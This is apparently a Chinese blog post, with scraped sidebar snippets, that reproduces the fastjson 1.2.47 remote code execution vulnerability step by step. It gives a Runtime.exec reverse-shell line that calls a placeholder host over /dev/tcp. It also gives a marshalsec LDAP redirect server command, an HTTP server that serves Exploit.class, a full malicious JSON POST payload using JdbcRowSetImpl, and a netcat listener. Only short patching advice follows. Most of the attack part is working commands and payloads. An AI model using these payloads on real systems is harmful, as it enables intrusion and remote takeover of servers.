相关文章推荐
傲视众生的凉面  ·  log4net ...·  1 年前    · 
豁达的丝瓜  ·  Fix issue with ...·  1 年前    · 
鬼畜的铁链  ·  java - How to use MDC ...·  1 年前    · 

漏洞 :fastjson 远程代码执行漏洞
漏洞原因 :fastjson在执行反序列化时加载数据被注入,注入的数据被解析执行导致任意命令执行,利用该漏洞需要一条利用链才能实现。
漏洞历史 :现在fastjson的github版本已经到1.2.73了,但是历史上高危漏洞频繁出现。
如:1.2.24 出的反序列漏洞,经过对类的黑名单限制和autotype的关闭、checkautotype等,还是还被绕过限制,如:1.2.47,1.2.68 的漏洞,都是绕过限制加载恶意的类并造成远程代码执行的高危漏洞。
漏洞参考
https://github.com/CaijiOrz/fastjson-1.2.47-RCE
漏洞复现 :复现版本是1.2.47。
漏洞复现github上有poc,按步骤搭建并配置,遇到问题耐心排查下,总会有结果的。
fastjons漏洞rce原理图
还有其他利用方法如rmi的,这里用ldap协议。

1 准备JDK环境(版本不要太高)

root@test:~# java -version
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM) 64-Bit Server VM (build 25.65-b01, mixed mode)
root@test:~#
root@test:~# javac -version
javac 1.8.0_65

2 修改Except.java 文件 (修改远程shell的接管地址,并编译)

Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/x.x.x.x/8888 0>&1");
javac Exploit.java   # jdk版本太高编译的文件,目标机器解析可能报错,多试

3 搭建JNDI的ldap server服务。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.6.1.x/#Exploit       #默认启动的端口是1389

4 启动httpserver(这里小心,端口保持监听80,因为ldap重定向时是80,如果配置其他端口导致不通)

python3 -m http.server 80        #放class文件的目录启动

5 打构造的“恶意”fasjson数据到目标服务器上。

POST xxxxx HTTP/1.1
Host: xxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 200
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Content-Type: application/json
Referer: xxxxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Token: 
Accept-Encoding: gzip
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:1389/Exploit","autoCommit":true}}}

6 在vpc上配置nc -lvvp 8888 (与class文件中的地址保持一致)
7 Ldap的服务上会收到请求(提示重定向到httpserver)
在这里插入图片描述
8 httpserver收到请求

x.x.x.x - - [xx/xx/xx xx:xx:xx] "GET /Exploit.class HTTP/1.1" 200 -

9 vpc监听的端口已经有目标机器的shell,执行whoami

漏洞修复建议:
1 升级fastjson到官网最新版本
2 WAF防火墙(大多检查规则是找 @type+rmi/ldap等)
3 不用fastjson改动有些大

漏洞:fastjson 远程代码执行漏洞漏洞原因:fastjson在执行反序列化时加载数据被注入,注入的数据被解析执行导致任意命令执行。漏洞历史:现在fastjson的版本已经到了1.2.73了,但是历史上高危漏洞频繁出现。如:1.2.24 出的反序列漏洞,经过对类的黑名单限制和autotype的关闭、checkautotype等,还是还被绕过限制,如:1.2.47,1.2.68 的漏洞,都是绕过限制加载恶意的类并造成远程代码执行的高危漏洞。漏洞复现:复现版本是1.2.47。漏洞复现github上
理论我就不多废话了,直接看代码吧。使用的是fastjson-1.2.21版本的来实现下面代码的。 主要是实现复杂的嵌套的Java对象,也就是对象嵌套对象的复杂对象,转换成json字符串。然后就是反过来,把复杂的json字符串转换成对应的嵌套的Java对象。 先上工具类。如下。 package com.lxk.json; import com.alibaba.fastjson.JSON;
Java - FastjsonRCE问题分析及攻击模拟(远程代码执行漏洞Fastjson出现RCE问题的必要前提分析 首先,本文的Fastjson相关的RCE问题,针对于版本在1.2.24以下的。 Fastjson出现RCE问题的必要前提分析